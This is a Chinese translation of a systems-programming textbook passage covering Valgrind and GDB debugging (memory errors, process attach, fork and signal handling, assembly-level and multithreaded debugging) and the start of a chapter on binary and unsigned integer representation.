接下来的几行显示了错误发生的堆栈跟踪。这些指示表明,在`foo()`函数的第 29 行发生了无效写入,而`foo()`函数是由`main()`函数在第 56 行调用的。
31059 Invalid write of size 1
31059 at 0x4006C5: foo (valgrindbadprog.c:29)
31059 by 0x40079A: main (valgrindbadprog.c:56)
剩余的行显示了发生无效写入附近的堆空间位置。Valgrind 的输出部分显示,该无效写入是在分配了一个 5 字节堆内存空间块之后(由第 18 行`foo()`函数中的`malloc()`调用分配),立即发生的,由`main()`函数在第 56 行调用`foo()`函数:
31059 Address 0x52045c5 is 0 bytes after a block of size 5 alloc'd
31059 at 0x4C2DB8F: malloc (in /usr/lib/valgrind/...)
31059 by 0x400660: foo (valgrindbadprog.c:18)
31059 by 0x40079A: main (valgrindbadprog.c:56)
此错误信息显示了程序中存在一个未分配的堆内存写入错误,并指导用户到程序中特定的错误发生位置(第 29 行)和错误周围的内存分配位置(第 18 行)。通过查看程序中的这些点,程序员可以找到错误的原因和修复方法:
18 c = (char *)malloc(sizeof(char) * 5);
...
22 strcpy(c, "cccc");
...
28 for (i = 0; i <= 5; i++) {
29 c[i] = str[i];
30 }
原因是`for`循环执行了一次过多,访问了数组`c`的`c[5]`,这超出了数组`c`的末尾。修复方法可以是修改第 29 行的循环边界,或者在第 18 行分配一个更大的数组。
如果仅查看 Valgrind 错误周围的代码对程序员来说不足以理解或修复错误,可以考虑使用 GDB 进行调试。在与 Valgrind 错误相关联的代码点设置断点可以帮助程序员评估程序的运行状态,并理解 Valgrind 错误的原因。例如,在第 29 行设置断点并打印`i`和`str`的值,程序员可以看到当`i`为 5 时的数组越界错误。在这种情况下,结合使用 Valgrind 和 GDB 有助于程序员确定如何修复 Valgrind 发现的内存访问错误。
虽然本章重点介绍了 Valgrind 的默认 Memcheck 工具,但我们稍后在书中还将详细介绍 Valgrind 的其他功能,包括 Cachegrind 缓存分析工具(第十一章)、Callgrind 代码分析工具(第十二章)和 Massif 内存分析工具(第十二章)。有关使用 Valgrind 的更多信息,请参阅 Valgrind 主页 *[`valgrind.org`](https://valgrind.org)*,以及其在线手册 *[`valgrind.org/docs/manual/`](https://valgrind.org/docs/manual/)*。
### 3.4 高级 GDB 功能
本节介绍了高级 GDB 功能,其中一些功能只有在阅读 第十三章 “Notes” 后才会有意义。
#### 3.4.1 GDB 和 make
GDB 接受`make`命令在调试会话期间重新构建可执行文件,如果构建成功,则会运行新构建的程序(当发出`run`命令时)。
(gdb) make
(gdb) run
在 GDB 中重新构建是方便的,适用于已设置许多断点并已修复一个错误,但希望继续调试会话的用户。在这种情况下,用户无需退出 GDB,重新编译,用新的可执行文件重新启动 GDB,并重新设置所有断点,而是可以运行`make`并开始调试程序的新版本,所有断点仍然保持设置状态。然而,需要注意的是,如果在 GDB 中运行`make`修改 C 源代码并重新编译可能导致断点在新程序版本中不在与旧版本相同的逻辑位置,因为源代码行可能已经添加或删除。当出现此问题时,要么退出 GDB 并在新的可执行文件上重新启动 GDB 会话,要么使用`disable`或`delete`禁用或删除旧断点,然后使用`break`在新编译的程序版本中设置新的断点位置。
#### 3.4.2 将 GDB 附加到正在运行的进程
GDB 支持调试已经运行的程序(而不是从 GDB 会话内启动程序),通过*附加*GDB 到正在运行的进程。为此,用户需要获取进程 ID(PID)值:
1\. 使用`ps` shell 命令获取进程的 PID:
# 使用 ps 命令获取进程的 PID(列出在当前 shell 中启动的所有进程):
$ ps
# 列出所有进程并通过 grep 管道过滤只有名为 a.out 的进程:
$ ps -A | grep a.out
PID TTY TIME CMD
12345 pts/3 00:00:00 a.out
2. 启动 GDB 并将其附加到特定的运行中进程(PID 为 12345):
# gdb <可执行文件> <pid>
$ gdb a.out 12345
(gdb)
# 或者另一种语法:gdb attach <pid> <可执行文件>
$ gdb attach 12345 a.out
(gdb)
将 GDB 附加到进程会暂停该进程,用户可以在继续执行之前输入 GDB 命令。
或者,程序可以通过调用`kill(getpid(), SIGSTOP)`(如`attach_example.c`示例中所示)显式地暂停自身,等待调试。当程序在这一点暂停时,程序员可以将 GDB 附加到该进程进行调试。
无论程序如何暂停,在 GDB 附加后并且用户输入一些 GDB 命令后,程序的执行将从附加点继续,使用`cont`命令。如果`cont`不起作用,GDB 可能需要显式地发送`SIGCONT`信号给进程以继续执行:
(gdb) signal SIGCONT
#### 3.4.3 在 fork 时跟随进程
当 GDB 调试调用`fork()`函数创建新子进程的程序时,GDB 可以被设置为跟随(调试)父进程或子进程,从而使另一个进程的执行不受 GDB 的影响。默认情况下,GDB 在调用`fork()`后会跟随父进程。如果要让 GDB 跟随子进程,可以使用`set follow-fork-mode`命令:
(gdb) set follow-fork-mode child # Set gdb to follow child on fork
(gdb) set follow-fork-mode parent # Set gdb to follow parent on fork
(gdb) show follow-fork-mode # Display gdb's follow mode
在程序的`fork()`调用处设置断点对用户在 GDB 会话中想要改变这一行为时非常有用。
`attach_example.c`示例展示了如何在 fork 后“跟随”两个进程:GDB 在 fork 后跟随父进程,子进程通过发送`SIGSTOP`信号显式地暂停自己,允许程序员在子进程继续执行之前将第二个 GDB 进程附加到子进程上。
#### 3.4.4 信号控制
GDB 进程可以向它正在调试的目标进程发送信号,并处理目标进程接收到的信号。
GDB 可以通过使用`signal`命令向它正在调试的进程发送信号:
(gdb) signal SIGCONT
(gdb) signal SIGALRM
...
有时,用户希望 GDB 在调试进程接收到信号时执行某些操作。例如,如果程序尝试访问与它正在访问的类型不匹配的内存地址,它会接收到`SIGBUS`信号并通常退出。GDB 对`SIGBUS`的默认行为也是让进程退出。然而,如果你希望 GDB 在接收到`SIGBUS`信号时检查程序状态,你可以通过`handle`命令指定 GDB 以不同的方式处理`SIGBUS`信号(`info`命令显示有关 GDB 如何处理调试过程中接收到的信号的更多信息):
(gdb) handle SIGBUS stop # if program gets a SIGBUS, gdb gets control
(gdb) info signal # list info on all signals
(gdb) info SIGALRM # list info just for the SIGALRM signal
#### 3.4.5 DDD 设置与 Bug 修复
运行 DDD 会在你的主目录下创建一个`.ddd`目录,DDD 使用这个目录存储它的设置,这样用户就不需要在每次启动时重新设置所有偏好设置。保存的设置包括子窗口的大小、菜单显示选项以及启用窗口查看寄存器值和汇编代码的功能。
有时 DDD 在启动时会挂起,显示“Waiting until GDB ready”消息。这通常表示其保存的设置文件存在错误。修复这个问题的最简单方法是删除`.ddd`目录(你会丢失所有保存的设置,并且需要在它重新启动时重新设置):
$ rm -rf ~/.ddd # Be careful when entering this command!
$ ddd ./a.out
### 3.5 调试汇编代码
除了高级的 C 和 C++调试外,GDB 还可以在汇编代码层面调试程序。这样,GDB 能够列出来自函数的反汇编代码序列、在汇编指令级别设置断点、逐条执行汇编指令以及在程序运行时检查存储在机器寄存器、栈和堆内存地址中的值。我们在本节使用 IA32 作为示例汇编语言,但这里介绍的 GDB 命令适用于 GCC 支持的任何汇编语言。我们提到,读者可能会在后续章节深入了解汇编代码后,发现本小节特别有用。
我们使用以下简短的 C 程序作为示例:
int main() {
int x, y;
x = 1;
x = x + 2;
x = x - 14;
y = x * 100;
x = x + y * 6;
return 0;
}
要编译为 IA32 可执行文件,请使用`-m32`标志:
$ gcc -m32 -o simpleops simpleops.c
可选择使用`gcc`的`-fno-asynchronous-unwind-tables`命令行选项进行编译,这会生成一个对程序员来说稍微容易阅读和理解的 IA32 代码:
$ gcc -m32 -fno-asynchronous-unwind-tables -o simpleops simpleops.c
#### 3.5.1 使用 GDB 检查二进制代码
本节展示了一些示例 GDB 命令,用于在汇编代码层面调试一个简短的 C 程序。以下表格总结了本节展示的许多命令:
| **GDB 命令** | **描述** |
| --- | --- |
| `break sum` | 在函数`sum`的开始处设置断点 |
| `break *0x0804851a` | 在内存地址 0x0804851a 处设置断点 |
| `disass main` | 反汇编`main`函数 |
| `ni` | 执行下一条指令 |
| `si` | 进入函数调用(逐条指令) |
| `info registers` | 列出寄存器内容 |
| `p $eax` | 打印寄存器%eax 中存储的值 |
| `p *(int *)($ebp+8)` | 打印地址(%ebp+8)处的整数值 |
| `x/d $ebp+8` | 检查地址处的内存内容 |
首先,编译为 IA32 汇编并在 IA32 可执行程序`simpleops`上运行 GDB:
$ gcc -m32 -fno-asynchronous-unwind-tables -o simpleops simpleops.c
$ gdb ./simpleops
然后,在`main`中设置断点,然后使用`run`命令开始运行程序:
(gdb) break main
(gdb) run
`disass`命令反汇编(列出与之关联的汇编代码)程序的部分代码。例如,要查看`main`函数的汇编指令:
(gdb) disass main # Disassemble the main function
GDB 允许程序员通过解引用指令的内存地址来在单个汇编指令上设置断点:
(gdb) break *0x080483c1 # Set breakpoint at instruction at 0x080483c1
程序的执行可以通过`si`或`ni`逐条执行汇编指令来进行,其中`si`步入调用,`ni`跳过调用指令:
(gdb) ni # Execute the next instruction
(gdb) si # Execute next instruction; if it is a call instruction,
# step into the function
`si`命令会逐步进入函数调用,这意味着 GDB 会在被调用函数的第一条指令处暂停程序。`ni`命令会跳过它们,这意味着 GDB 会在调用指令执行并返回到调用者后,暂停程序并停在下一条指令。
程序员可以使用`print`命令和以`$`前缀的寄存器名称打印存储在机器寄存器中的值:
(gdb) print $eax # print the value stored in register eax
`display`命令在达到断点时自动显示值:
(gdb) display $eax
(gdb) display $edx
`info registers`命令显示所有存储在机器寄存器中的值:
(gdb) info registers
#### 3.5.2 使用 DDD 进行汇编级别调试
DDD 调试器为另一个调试器(在此为 GDB)提供了图形界面。它提供了一个很好的界面,用于显示汇编代码、查看寄存器以及逐步执行 IA32 指令。由于 DDD 具有用于显示反汇编代码、寄存器值和 GDB 命令提示符的独立窗口,因此在汇编代码级别调试时,它通常比 GDB 更容易使用。
要使用 DDD 调试,请将`ddd`替换为`gdb`:
$ ddd ./simpleops
GDB 提示符出现在底部窗口,在这里接受 GDB 命令。尽管它提供了一些 GDB 命令的菜单选项和按钮,但通常底部的 GDB 提示符更容易使用。
通过选择视图 ▶机器代码窗口菜单选项,DDD 显示程序的汇编代码视图。该选项会创建一个新子窗口,列出程序的汇编代码(你可能需要调整窗口大小以使其变大)。
要在单独的窗口中查看程序的所有寄存器值,请启用状态 ▶寄存器菜单选项。
#### 3.5.3 GDB 汇编代码调试命令和示例
以下是一些对在汇编代码级别调试有用的 GDB 命令的详细信息和示例(有关这些命令的更多详细信息,特别是`print`和`x`格式选项,请参见第 161 页的“常见 GDB 命令”部分):
disass 反汇编函数或地址范围的代码。
disass <func_name> # Lists assembly code for function
disass
disass main # Disassemble main function
disass 0x1234 0x1248 # Disassemble instructions between addr 0x1234 & 0x1248
break 在指令地址处设置一个断点。
break *0x80dbef10 # Sets breakpoint at the instruction at address 0x80dbef10
stepi **(si)**, nexti **(ni)**
stepi, si # Execute next machine code instruction,
# stepping into function call if it is a call instruction
nexti, ni # Execute next machine code instruction,
# treating function call as a single instruction
info registers 列出所有寄存器的值。
print 显示表达式的值。
print $eax # Print the value stored in the eax register
print *(int *)0x8ff4bc10 # Print int value stored at memory addr 0x8ff4bc10
x 显示给定地址的内存位置的内容。请记住,`x`的格式是固定的,因此需要显式更改。
(gdb) x $ebp-4 # Examine memory at address: (contents of register ebp)-4
# if the location stores an address x/a, an int x/wd, ...
(gdb) x/s 0x40062d # Examine the memory location 0x40062d as a string
0x40062d "Hello There"
(gdb) x/4c 0x40062d # Examine the first 4 char memory locations
# starting at address 0x40062d
0x40062d 72 'H' 101 'e' 108 'l' 108 'l'
(gdb) x/d 0x40062d # Examine the memory location 0x40062d in decimal
0x40062d 72 # NOTE: units is 1 byte, set by previous x/4c command
(gdb) x/wd 0x400000 # Examine memory location 0x400000 as 4 bytes in decimal
0x400000 100 # NOTE: units was 1 byte set, need to reset to w
set 设置内存位置和寄存器的内容。
set $eax = 10 # Set the value of register eax to 10
set $esp = $esp + 4 # Pop a 4-byte value off the stack
set *(int *)0x8ff4bc10 = 44 # Store 44 at address 0x8ff4bc10
display 每次命中断点时打印表达式的值。
display $eax # Display value of register eax
#### 3.5.4 常用汇编调试命令快速总结
$ ddd ./a.out
(gdb) break main
(gdb) run
(gdb) disass main # Disassemble the main function
(gdb) break sum # Set a breakpoint at the beginning of a function
(gdb) cont # Continue execution of the program
(gdb) break *0x0804851a # Set a breakpoint at memory address 0x0804851a
(gdb) ni # Execute the next instruction
(gdb) si # Step into a function call (step instruction)
(gdb) info registers # List the register contents
(gdb) p $eax # Print the value stored in register %eax
(gdb) p *(int *)($ebp+8) # Print out value of an int at addr (%ebp+8)
(gdb) x/d $ebp+8 # Examine the contents of memory at the given
# address (/d: prints the value as an int)
(gdb) x/s 0x0800004 # Examine contents of memory at address as a string
(gdb) x/wd 0xff5634 # After x/s, the unit size is 1 byte, so if want
# to examine as an int specify both the width w & d
### 3.6 使用 GDB 调试多线程程序
调试多线程程序可能会比较棘手,因为存在多个执行流,并且线程之间的交互会影响程序行为。通常来说,以下是一些可以让多线程调试变得稍微容易的技巧。
+ 如果可以,尽量调试一个线程较少的程序版本。
+ 在代码中添加调试 `printf` 语句时,打印出执行线程的 ID,以识别哪个线程正在打印,并且在行尾加上 `\n`。
+ 通过让只有一个线程打印其信息和公共信息来限制调试输出的数量。例如,如果每个线程将其逻辑 ID 存储在名为 `my_tid` 的局部变量中,则可以使用一个条件语句来根据 `my_tid` 的值限制打印调试输出,只对一个线程进行打印:
if (my_tid == 1) {
printf("Tid:%d: value of count is %d and my i is %d\n", my_tid, count, i);
fflush(stdout);
}
#### 3.6.1 GDB 和 Pthreads
GDB 调试器对调试多线程程序提供了特定支持,包括为单独线程设置断点和检查单独线程的堆栈。在 GDB 中调试 Pthreads 程序时,需要注意的一点是,每个线程至少有三个标识符:
+ Pthreads 库中线程的 ID(其 `pthread_t` 值)。
+ 操作系统的轻量级进程(LWP)ID 值,用于线程。此 ID 部分用于操作系统跟踪该线程的调度。
+ 线程的 GDB ID。在 GDB 命令中指定特定线程时使用该 ID。
线程 ID 之间的具体关系可能因操作系统和 Pthreads 库的实现而有所不同,但在大多数系统中,Pthreads ID、LWP ID 和 GDB 线程 ID 之间是三者一一对应的。
我们提供了一些 GDB 基础知识,用于在 GDB 中调试线程程序。有关在 GDB 中调试线程程序的更多信息,请参阅 *[`www.sourceware.org/gdb/current/onlinedocs/gdb/Threads.html`](https://www.sourceware.org/gdb/current/onlinedocs/gdb/Threads.html)。*
#### 3.6.2 GDB 线程特定命令
启用打印线程启动和退出事件:
set print thread-events
列出程序中所有现有线程(GDB 线程编号是第一个列出的值,触发断点的线程用 `*` 表示):
info threads
切换到特定线程的执行上下文(例如,执行 `where` 时检查其堆栈),通过线程 ID 指定线程:
thread
thread 12 # Switch to thread 12's execution context
where # Thread 12's stack trace
为特定线程设置断点。在断点设置的位置,其他线程不会触发断点暂停程序并显示 GDB 提示符:
break
break foo thread 12 # Break when thread 12 executes function foo
要将特定的 GDB 命令应用于所有或某些线程,可以在 GDB 命令前添加前缀 `thread apply <threadno | all>`,其中 `threadno` 指的是 GDB 线程 ID:
thread apply <threadno|all> command
这并不适用于所有 GDB 命令,特别是设置断点时,因此设置线程特定断点时请改用此语法:
break
到达断点时,默认情况下,GDB 会暂停所有线程,直到用户输入 `cont`。用户可以改变此行为,要求 GDB 只暂停触发断点的线程,从而让其他线程继续执行。
#### 3.6.3 示例
我们展示了一些 GDB 命令及其在一个从文件 `racecond.c` 编译的多线程可执行程序中的 GDB 运行输出。
这个错误的程序在访问共享变量 `count` 时缺乏同步。因此,程序的不同运行产生了不同的 `count` 最终值,表明存在竞态条件。例如,以下是程序的两次运行,它们有五个线程并产生了不同的结果:
./a.out 5
hello I'm thread 0 with pthread_id 139673141077760
hello I'm thread 3 with pthread_id 139673115899648
hello I'm thread 4 with pthread_id 139673107506944
hello I'm thread 1 with pthread_id 139673132685056
hello I'm thread 2 with pthread_id 139673124292352
count = 159276966
./a.out 5
hello I'm thread 0 with pthread_id 140580986918656
hello I'm thread 1 with pthread_id 140580978525952
hello I'm thread 3 with pthread_id 140580961740544
hello I'm thread 2 with pthread_id 140580970133248
hello I'm thread 4 with pthread_id 140580953347840
count = 132356636
修复方法是将对 `count` 的访问放在临界区内,使用 `pthread_mutex_t` 变量。如果用户仅通过检查 C 代码无法看到此修复,那么在 GDB 中运行并将断点设置在对 `count` 变量的访问处,可能会帮助程序员发现问题。
以下是从此程序的 GDB 运行中提取的一些示例命令:
(gdb) break worker_loop # Set a breakpoint for all spawned threads
(gdb) break 77 thread 4 # Set a breakpoint just for thread 4
(gdb) info threads # List information about all threads
(gdb) where # List stack of thread that hit the breakpoint
(gdb) print i # List values of its local variable i
(gdb) thread 2 # Switch to different thread's (2) context
(gdb) print i # List thread 2's local variables i
以下示例展示了 `racecond.c` 程序的 GDB 运行的部分输出,程序有三个线程(`run 3`),并展示了在 GDB 调试会话中 GDB 线程命令的示例。主线程始终是 GDB 线程编号 1,三个派生线程是 GDB 线程 2 到 4。
在调试多线程程序时,GDB 用户必须跟踪当前存在哪些线程,然后再执行命令。例如,当 `main` 中的断点被触发时,只有线程 1(主线程)存在。因此,GDB 用户必须等待线程创建之后,才能为特定线程设置断点(本示例展示了在程序的第 77 行为线程 4 设置断点)。查看此输出时,请注意何时设置和删除断点,并注意每个线程的局部变量 `i` 的值,当线程上下文通过 GDB 的 `thread` 命令切换时:
$ gcc -g racecond.c -lpthread
$ gdb ./a.out
(gdb) break main
Breakpoint 1 at 0x919: file racecond.c, line 28.
(gdb) run 3
Starting program: ...
[Thread debugging using libthread_db enabled] ...
Breakpoint 1, main (argc=2, argv=0x7fffffffe388) at racecond.c:28
28 if (argc != 2) {
(gdb) list 76
71 myid = *((int *)arg);
72
73 printf("hello I'm thread %d with pthread_id %lu\n",
74 myid, pthread_self());
75
76 for (i = 0; i < 10000; i++) {
77 count += i;
78 }
79
80 return (void *)0;
(gdb) break 76
Breakpoint 2 at 0x555555554b06: file racecond.c, line 76.
(gdb) cont
Continuing.
[New Thread 0x7ffff77c4700 (LWP 5833)]
hello I'm thread 0 with pthread_id 140737345505024
[New Thread 0x7ffff6fc3700 (LWP 5834)]
hello I'm thread 1 with pthread_id 140737337112320
[New Thread 0x7ffff67c2700 (LWP 5835)]
[Switching to Thread 0x7ffff77c4700 (LWP 5833)]
Thread 2 "a.out" hit Breakpoint 2, worker_loop (arg=0x555555757280)
at racecond.c:76
76 for (i = 0; i < 10000; i++) {
(gdb) delete 2
(gdb) break 77 thread 4
Breakpoint 3 at 0x555555554b0f: file racecond.c, line 77.
(gdb) cont
Continuing.
hello I'm thread 2 with pthread_id 140737328719616
[Switching to Thread 0x7ffff67c2700 (LWP 5835)]
Thread 4 "a.out" hit Breakpoint 3, worker_loop (arg=0x555555757288)
at racecond.c:77
77 count += i;
(gdb) print i
$2 = 0
(gdb) cont
Continuing.
[Switching to Thread 0x7ffff67c2700 (LWP 5835)]
Thread 4 "a.out" hit Breakpoint 3, worker_loop (arg=0x555555757288)
at racecond.c:77
77 count += i;
(gdb) print i
$4 = 1
(gdb) thread 3
[Switching to thread 3 (Thread 0x7ffff6fc3700 (LWP 5834))]
0 0x0000555555554b12 in worker_loop (arg=0x555555757284) at racecond.c:77
77 count += i;
(gdb) print i
$5 = 0
(gdb) thread 2
[Switching to thread 2 (Thread 0x7ffff77c4700 (LWP 5833))]
0 worker_loop (arg=0x555555757280) at racecond.c:77
77 count += i;
(gdb) print i
$6 = 1
### 3.7 总结
本章总结了我们对 C 编程语言的介绍。与其他高级编程语言相比,C 是一种相对较小的编程语言,只有少数几个基本构造,程序员通过这些构造来编写程序。由于 C 语言的抽象更接近计算机执行的底层机器代码,C 程序员可以编写比使用其他编程语言提供的高级抽象写出的等效代码更加高效的代码。特别是,C 程序员对程序如何使用内存有更多的控制权,这对程序的性能有重要影响。C 是计算机系统编程的语言,其中低级控制和效率至关重要。
在后续章节中,我们将使用 C 语言示例来说明计算机系统如何设计来运行程序。
### 注释
1. GDB 可通过 *[`www.gnu.org/software/gdb`](https://www.gnu.org/software/gdb)* 获得
2. Valgrind 可以在 *[`valgrind.org/info/tools.html`](https://valgrind.org/info/tools.html)* 获取。
3. Memcheck 工具可以在 *[`valgrind.org/docs/manual/mc-manual.html`](https://valgrind.org/docs/manual/mc-manual.html)* 获取。
4. *[`valgrind.org/docs/manual/cg-manual.html`](https://valgrind.org/docs/manual/cg-manual.html)*
5. *[`valgrind.org/docs/manual/cl-manual.html`](http://valgrind.org/docs/manual/cl-manual.html)*
# 第五章:二进制与数据表示

从简单的石碑和洞穴壁画到书写文字和留声机的刻痕,人类一直在不断寻求记录和存储信息。在这一章中,我们将描述人类最新的大规模存储突破——数字计算——如何表示信息。我们还将说明如何从数字数据中解读含义。
现代计算机利用多种介质存储信息(例如,磁盘、光盘、闪存、磁带和简单的电路)。我们将在第 11.2 节中对存储设备进行详细描述;然而,对于本讨论来说,介质本身并不重要——无论是激光扫描 DVD 表面,还是磁头滑过磁性盘片,存储设备的输出最终都是一系列电信号。为了简化电路,每个信号都是*二进制*的,这意味着它只能处于两种状态之一:无电压(解释为零)或有电压(为一)。本章将探讨系统如何将信息编码为二进制,无论原始存储介质是什么。
在二进制中,每个信号对应一个*比特*(二进制位)信息:零或一。可能令人惊讶的是,所有的数据都可以仅用零和一来表示。当然,随着信息复杂性的增加,表示它所需的比特数也会增加。幸运的是,每增加一个比特,唯一值的数量就会翻倍,因此一个*N*比特的序列可以表示 2^(*N*) 个独特的值。
图 4-1 展示了随着比特序列长度的增加,可以表示的值的数量如何增长。一个比特可以表示*两个*值:0 和 1。两个比特可以表示*四个*值:前导 0 的两个单比特值(00 和 01),以及前导 1 的两个单比特值(10 和 11)。同样的模式适用于任何扩展现有比特序列的附加比特:新比特可以是 0 或 1,无论哪种情况,剩余的比特表示的值范围与添加新比特之前相同。因此,增加额外的比特会指数级增加新序列可以表示的值的数量。

*图 4-1:一个到四个比特可以表示的值。下划线部分的比特对应于上一行的前缀。*
因为单个比特并不能代表很多信息,存储系统通常将比特组合成更长的序列,以存储更多有意义的值。最常见的组合是*字节*,它是由八个比特组成的集合。一个字节表示 2⁸ = 256 个独特的值(0–255),足以列举出英语中的字母和常见的标点符号。字节是计算机系统中最小的可寻址内存单位,这意味着程序不能要求少于八个比特来存储一个变量。
现代 CPU 通常将 *字(word)* 定义为 32 位或 64 位,具体取决于硬件的设计。字的大小决定了系统硬件在从一个组件传输数据到另一个组件时使用的“默认”大小(例如,内存和寄存器之间)。这些较大的数据序列对于存储数字是必要的,因为程序通常需要计算大于 256 的数值!如果你曾经使用过 C 语言编程,你就知道在使用变量之前必须先声明它(请参阅 第 21 页的“变量和 C 数值类型”)。这样的声明向 C 编译器传递了两个关于变量二进制表示的关键信息:为它分配的位数,以及程序打算如何解释这些位。概念上,位数是直接的,因为编译器只是查找与声明类型相关联的位数(例如,`char` 是一个字节——请参见 第 23 页的“C 数值类型”),并将相应的内存分配给变量。对一组位的解释则更加具有概念上的趣味性。计算机内存中的所有数据都是以位存储的,但位本身没有 *固有的* 意义。例如,即使只有一个位,你也可以将该位的两个值解释为许多不同的方式:上下、黑白、是与否、开与关等。
扩展位序列的长度会扩大其解释范围。例如,`char` 变量使用美国信息交换标准码(ASCII)编码标准,该标准定义了如何将八位二进制值映射到英文字母和标点符号。表 4-1 展示了 ASCII 标准的小部分(完整参考,请在命令行运行 `man ascii`)。字符 `’X’` 必须对应于 01011000 并没有什么特别的原因,所以不用记住表格。重要的是,每个存储字母的程序都达成了一致,确保它们对位序列的解释是一致的,这也是为什么 ASCII 是由标准委员会定义的原因。
**表 4-1:** 八位 ASCII 字符编码标准的一个小片段
| **二进制值** | **字符解释** | **二进制值** | **字符解释** |
| --- | --- | --- | --- |
| 01010111 | W | 00100000 | 空格 |
| 01011000 | X | 00100001 | ! |
| 01011001 | Y | 00100010 | " |
| 01011010 | Z | 00100011 | # |
任何信息都可以以二进制编码,包括图像和音频等丰富的数据。例如,假设一种图像编码方案定义 00、01、10 和 11 分别对应白色、橙色、蓝色和黑色。图 4-2 展示了我们如何使用这种简单的两位编码策略,仅用 12 字节就能画出一幅粗略的鱼的图像。在(a)部分,每个图像单元对应一个两位序列。部分(b)和(c)分别显示了对应的二进制编码,分别为两位和字节序列。尽管这个示例编码方案是为了学习目的而简化的,但其基本思路类似于实际图形系统所使用的方案,尽管实际应用中使用更多的位来表示更广泛的颜色范围。

*图 4-2:简单鱼图像的(a)图像表示,(b)两位单元表示,以及(c)字节表示。*
在刚介绍了两种编码方案后,相同的比特序列 01011010 可能在文本编辑器中表示字符 `’Z’`,而在图形程序中则可能被解释为鱼的尾鳍的一部分。哪种解释正确取决于上下文。尽管底层比特相同,但人类往往会发现某些解释比其他解释更容易理解(例如,将鱼看作彩色单元格,而不是字节表)。
本章的其余部分主要处理二进制数字的表示和操作,但总体观点值得重申:所有信息都以 0 和 1 的形式存储在计算机内存中,程序或运行它们的人负责解释这些比特的含义。
### 4.1 数字进制与无符号整数
在看到二进制序列可以以各种非数字方式解释之后,接下来我们将关注数字。具体来说,我们从 *无符号* 数字开始,它们可以解释为零或正数,但永远不能是负数(它们没有 *符号*)。
#### 4.1.1 十进制数字
我们不从二进制开始,而是先来看看我们已经习惯使用的数字系统——*十进制系统*,它使用的 *进制* 是 10。*十进制* 表示十进制值的解释和表示有两个重要的属性。
首先,十进制数字中的每一位存储的是 10 个独特值中的一个(0–9)。要存储大于 9 的值,必须将值 *进位* 到左边的另一位。例如,如果某一位数字达到其最大值(9),然后我们加 1,结果需要两位数字(9 + 1 = 10)。无论数字在数字中的位置如何(例如,50**8**0 + **2**0 = 5**10**0),相同的规律都适用。
其次,数字中每个数字的位置决定了该数字对整体数值的重要性。将数字从*右到左*标记为*d*[0]、*d*[1]、*d*[2],依此类推,每个后续的数字比下一个数字贡献更多的*十*倍。例如,取值 8425(图 4-3)。

*图 4-3:在十进制数中,每个数字的重要性,使用你可能在小学时给每个数字命名的方式。*
对于示例值 8425,“个位”中的 5 贡献 5(5 × 10⁰)。“十位”中的 2 贡献 20(2 × 10¹)。“百位”中的 4 贡献 400(4 × 10²),最后,“千位”中的 8 贡献 8000(8 × 10³)。更正式地,8425 可以表示为
(8 × 10³) + (4 × 10²) + (2 × 10¹) + (5 × 10⁰)
这种对 10 为底数的指数递增模式正是它被称为*十进制*数字系统的原因。从右到左为数字位置编号,从*d*[0]开始,意味着每个数字*d*[*i*]对整体数值贡献 10^(*i*)。因此,任何*N*位的十进制数的整体值可以表示为
(*d*[*N*–1] × 10^(*N*–1)) + (*d*[*N*–2] × 10^(*N*–2)) + … + (*d*[2] × 10²) + (*d*[1] × 10¹) + (*d*[0] × 10⁰)
幸运的是,正如我们很快会看到的,类似的模式也适用于其他数字系统。
**注意区分数字进制**
现在我们即将介绍第二种数字系统,其中一个潜在问题是如何解释一个数字的不清晰性。例如,考虑值 1000。很难立刻判断你应该将这个数字解释为十进制值(一千)还是二进制值(八,稍后会解释)。为了帮助澄清,本章的其余部分将明确地为所有非十进制数字附加前缀。我们很快将介绍二进制,它的前缀是 0b,以及十六进制,它的前缀是 0x。
因此,如果你看到 1000,你应该假设它是十进制的“一千”,如果你看到 0b1000,你应该将其解释为二进制数,在这种情况下,值为“八”。
#### 4.1.2 无符号二进制数
尽管你可能从未考虑过描述十进制数作为 10 的幂的具体公式,但{*个位*、*十位*、*百位*等}的概念应该是熟悉的。幸运的是,类似的术语也适用于其他数字系统,比如二进制。当然,其他数字系统中的基数不同,所以每个数字位置对其数值的贡献也不同。
*二进制数字系统*使用 2 为底数,而不是十进制的 10。按我们刚才对十进制的分析方式来分析它,可以揭示几个相似之处(将 2 替换为 10)。
首先,二进制数字中的任何单个位存储的是两个独特值中的一个(0 或 1)。为了存储大于 1 的值,二进制编码必须*进位*到左边的一个额外位。例如,如果一个位达到最大值(1)并且我们加 1,结果就需要两个位(1 + 1 = 0b10)。对于任何位,无论其在数字中的位置如何(例如,0b100**1**00 + 0b**1**00 = 0b10**10**00),这一模式都适用。
其次,数字中每一位的位置决定了该位对数字值的重要性。从*右到左*标记每一位为*d*[0]、*d*[1]、*d*[2],依此类推,每个连续的位比下一个位多贡献一个*二*的倍数。
第一点意味着,二进制计数遵循与十进制相同的模式:通过简单地枚举值并添加数字(位)。由于本节聚焦于*无符号*数字(仅零和正数),因此从零开始计数是自然的。表 4-2 展示了如何用二进制计数前几个自然数。正如表格所示,二进制计数会迅速增加数字的位数。直观地看,这种增长是有意义的,因为每一位二进制数字(有两种可能的值)所表示的信息少于每一位十进制数字(有十种可能的值)。
**表 4-2:** 二进制与十进制计数的比较
| **二进制值** | **十进制值** |
| --- | --- |
| 0 | 0 |
| 1 | 1 |
| 10 | 2 |
| 11 | 3 |
| 100 | 4 |
| 101 | 5 |
| ... | ... |
关于标记数字的第二点看起来非常熟悉!实际上,它与十进制几乎相同,这导致了一个几乎相同的公式来解释二进制数字。只需将每个指数的基数 10 替换为 2:
(*d*[*N*–1] × 2^(*N*–1)) + (*d*[*N*–2] × 2^(*N*–2)) + … + (*d*[2] × 2²) + (*d*[1] × 2¹) + (*d*[0] × 2⁰)
应用这个公式可以得出任何二进制数字的*无符号*解释。例如,考虑 0b1000:
(1 × 2³) + (0 × 2²) + (0 × 2¹) + (0 × 2⁰) = 8 + 0 + 0 + 0 = 8
这是一个更长的一字节示例,0b10110100:
(1 × 2⁷) + (0 × 2⁶) + (1 × 2⁵) + (1 × 2⁴) + (0 × 2³) + (1 × 2²) + (0 × 2¹) + (0 × 2⁰) = 128 + 0 + 32 + 16 + 0 + 4 + 0 + 0 = 180
#### 4.1.3 十六进制
